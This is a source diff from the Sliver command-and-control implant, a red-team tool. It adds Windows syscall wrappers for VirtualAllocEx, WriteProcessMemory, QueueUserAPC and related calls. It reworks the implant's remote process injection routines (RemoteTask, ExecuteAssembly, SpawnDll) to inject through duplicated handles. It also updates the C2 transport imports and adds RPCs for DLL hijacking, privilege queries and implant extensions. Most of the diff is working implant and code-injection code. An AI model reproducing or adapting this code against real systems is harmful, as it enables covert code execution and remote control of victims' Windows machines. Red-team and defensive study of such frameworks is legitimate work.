+func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
-	r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
+func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
+	r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
+	lpRes = uintptr(r0)
+	if lpRes == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
+	r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
+	res = uint32(r0)
+	if res == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
-	r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
+func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
+	r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
-	HDC = windows.Handle(r0)
-	if HDC == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
+	if r1 == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
-	r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
-	int = uint32(r0)
-	if int == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
-	HDC = windows.Handle(r0)
-	if HDC == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
+	r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
+	addr = uintptr(r0)
+	if addr == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func GetDesktopWindow() (HWND windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
-	HWND = windows.Handle(r0)
-	if HWND == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
+	r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
-	r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
-	BOOL = uint32(r0)
-	if BOOL == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
-	HBITMAP = windows.Handle(r0)
-	if HBITMAP == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
+func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
+	syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
 	return
 }
 
-func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
-	r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
-	BOOL = uint32(r0)
-	if BOOL == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
-	HGLOBAL = windows.Handle(r0)
-	if HGLOBAL == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
-	HGLOBAL = windows.Handle(r0)
-	if HGLOBAL == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
-	r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
-	LPVOID = uintptr(r0)
-	if LPVOID == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
-	r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
-	BOOL = uint32(r0)
-	if BOOL == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
-	HGDIOBJ = windows.Handle(r0)
-	if HGDIOBJ == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
-	r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
-	BOOL = int(r0)
-	if BOOL == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
-	r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
-	ret = int(r0)
-	if ret == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
+	r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
+	if r1 == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }

implant/sliver/taskrunner/task_windows.go

@@ -44,11 +44,6 @@ import (
 	"golang.org/x/sys/windows"
 )
 
-const (
-	PROCESS_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xfff
-	STILL_ACTIVE       = 259
-)
-
 var (
 	ntdllPath       = "C:\\Windows\\System32\\ntdll.dll" // We make this a var so the string obfuscator can refactor it
 	kernel32dllPath = "C:\\Windows\\System32\\kernel32.dll"
@@ -139,15 +134,30 @@ func injectTask(processHandle windows.Handle, data []byte, rwxPages bool) (windo
 
 // RermoteTask - Injects Task into a processID using remote threads
 func RemoteTask(processID int, data []byte, rwxPages bool) error {
+	var lpTargetHandle windows.Handle
 	err := refresh()
 	if err != nil {
 		return err
 	}
-	processHandle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, uint32(processID))
+	processHandle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(processID))
 	if processHandle == 0 {
 		return err
 	}
-	_, err = injectTask(processHandle, data, rwxPages)
+	currentProcHandle, err := windows.GetCurrentProcess()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("GetCurrentProcess failed")
+		// {{end}}
+		return err
+	}
+	err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("DuplicateHandle failed")
+		// {{end}}
+		return err
+	}
+	_, err = injectTask(lpTargetHandle, data, rwxPages)
 	if err != nil {
 		return err
 	}
@@ -192,7 +202,10 @@ func LocalTask(data []byte, rwxPages bool) error {
 }
 
 func ExecuteAssembly(data []byte, process string) (string, error) {
-	var stdoutBuf, stderrBuf bytes.Buffer
+	var (
+		stdoutBuf, stderrBuf bytes.Buffer
+		lpTargetHandle       windows.Handle
+	)
 	cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
 	if err != nil {
 		//{{if .Config.Debug}}
@@ -204,11 +217,27 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[*] %s started, pid = %d\n", process, pid)
 	// {{end}}
-	handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
+	handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
 	if err != nil {
 		return "", err
 	}
-	threadHandle, err := injectTask(handle, data, false)
+	defer windows.CloseHandle(handle)
+	defer windows.CloseHandle(lpTargetHandle)
+	currentProcHandle, err := windows.GetCurrentProcess()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("GetCurrentProcess failed")
+		// {{end}}
+		return "", err
+	}
+	err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("DuplicateHandle failed")
+		// {{end}}
+		return "", err
+	}
+	threadHandle, err := injectTask(lpTargetHandle, data, false)
 	if err != nil {
 		return "", err
 	}
@@ -226,6 +255,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
 }
 
 func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
+	var lpTargetHandle windows.Handle
 	err := refresh()
 	if err != nil {
 		return "", err
@@ -241,19 +271,34 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
 	// {{if .Config.Debug}}
 	log.Printf("[*] %s started, pid = %d\n", procName, pid)
 	// {{end}}
-	handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
+	handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
 	if err != nil {
 		return "", err
 	}
+	currentProcHandle, err := windows.GetCurrentProcess()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("GetCurrentProcess failed")
+		// {{end}}
+		return "", err
+	}
+	err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("DuplicateHandle failed")
+		// {{end}}
+		return "", err
+	}
 	defer windows.CloseHandle(handle)
-	dataAddr, err := allocAndWrite(data, handle, uint32(len(data)))
+	defer windows.CloseHandle(lpTargetHandle)
+	dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
 	argAddr := uintptr(0)
 	if len(args) > 0 {
 		//{{if .Config.Debug}}
 		log.Printf("Args: %s\n", args)
 		//{{end}}
 		argsArray := []byte(args)
-		argAddr, err = allocAndWrite(argsArray, handle, uint32(len(argsArray)))
+		argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
 		if err != nil {
 			return "", err
 		}
@@ -262,7 +307,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
 	log.Printf("[*] Args addr: 0x%08x\n", argAddr)
 	//{{end}}
 	startAddr := uintptr(dataAddr) + uintptr(offset)
-	threadHandle, err := protectAndExec(handle, dataAddr, startAddr, argAddr, uint32(len(data)))
+	threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr, argAddr, uint32(len(data)))
 	if err != nil {
 		return "", err
 	}
@@ -275,6 +320,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
 		if err != nil {
 			return "", err
 		}
+		// {{if .Config.Debug}}
+		log.Printf("[*] Thread completed execution, attempting to kill remote process\n")
+		// {{end}}
 		cmd.Process.Kill()
 		return stdoutBuff.String() + stderrBuff.String(), nil
 	}
@@ -346,7 +394,10 @@ func waitForCompletion(threadHandle windows.Handle) error {
 			// {{end}}
 			return err
 		}
-		if code == STILL_ACTIVE {
+		// {{if .Config.Debug}}
+		log.Printf("[!] Error: %v, code: %d\n", err, code)
+		// {{end}}
+		if code == syscalls.STILL_ACTIVE {
 			time.Sleep(time.Second)
 		} else {
 			break

implant/sliver/transports/named-pipe.go

@@ -32,8 +32,8 @@ import (
 	// {{end}}
 
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
 	"github.com/lesnuages/go-winio"
+	"google.golang.org/protobuf/proto"
 )
 
 const (

implant/sliver/transports/tcp-http.go

@@ -53,7 +53,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/encoders"
 	"github.com/bishopfox/sliver/implant/sliver/proxy"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 const (

implant/sliver/transports/tcp-mtls.go

@@ -36,7 +36,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 // socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing

implant/sliver/transports/tcp-pivot.go

@@ -10,7 +10,7 @@ import (
 	// {{end}}
 
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 const (

implant/sliver/transports/tcp-wg.go

@@ -37,10 +37,10 @@ import (
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
 	"github.com/bishopfox/sliver/implant/sliver/netstack"
-	"github.com/golang/protobuf/proto"
 	"golang.zx2c4.com/wireguard/conn"
 	"golang.zx2c4.com/wireguard/device"
 	"golang.zx2c4.com/wireguard/tun"
+	"google.golang.org/protobuf/proto"
 )
 
 var (

implant/sliver/transports/transports.go

@@ -44,7 +44,7 @@ import (
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
 	// {{if .Config.HTTPc2Enabled}}
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 	// {{end}}
 
 	// {{if .Config.TCPPivotc2Enabled}}

implant/sliver/transports/udp-dns.go

@@ -46,7 +46,7 @@ import (
 
 	consts "github.com/bishopfox/sliver/implant/sliver/constants"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 const (

protobuf/clientpb/client.proto

@@ -43,6 +43,7 @@ message Session {
   string ProxyURL = 20;
   uint32 PollInterval = 21;
   bool Burned = 22;
+  repeated string Extensions = 23;
 }
 
 message ImplantC2 {
@@ -196,6 +197,7 @@ message MTLSListener {
 }
 
 message WGListenerReq {
+  string Host = 6;
   uint32 Port = 1;
   string TunIP = 2;
   uint32 NPort = 3;
@@ -273,6 +275,7 @@ message UpdateSession {
   string Name = 2;
   int32 ReconnectInterval = 3;
   int32 PollInterval = 4;
+  repeated string Extensions = 5;
 }
 
 message GenerateReq {
@@ -366,7 +369,6 @@ message MigrateReq {
   commonpb.Request Request = 9;
 }
 
-
 // [ Tunnels ] ----------------------------------------
 message CreateTunnelReq {
 
@@ -496,3 +498,27 @@ message Loot {
 message AllLoot {
   repeated Loot Loot = 1;
 }
+
+// [ Hosts ] ----------------------------------------
+message IOC {
+  string Path = 1;
+  string FileHash = 2;
+  string ID = 3;
+}
+
+message ExtensionData {
+  string Output = 1;
+}
+
+message Host {
+  string Hostname = 1;
+  string HostUUID = 2;
+  string OSVersion = 3;
+
+  repeated IOC IOCs = 4;
+  map<string, ExtensionData> ExtensionData = 5;
+}
+
+message AllHosts {
+  repeated Host Hosts = 1;
+}

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.17.3
+// 	protoc        v3.15.8
 // source: commonpb/common.proto
 
 package commonpb

protobuf/rpcpb/services.proto

@@ -47,6 +47,12 @@ service SliverRPC {
     rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
     rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
 
+    // *** Hosts ***
+    rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
+    rpc Host(clientpb.Host) returns(clientpb.Host);
+    rpc HostRm(clientpb.Host) returns(commonpb.Empty);
+    rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
+
     // *** Implants ***
     rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
     rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
@@ -112,7 +118,15 @@ service SliverRPC {
     rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
     rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
     rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
+    rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
+    rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
     rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
+    rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
+    rpc GetPrivs(sliverpb.GetPrivsReq) returns  (sliverpb.GetPrivs);
+    // Extensions
+    rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
+    rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
+    rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
     
     // *** Wireguard Specific ***
     rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);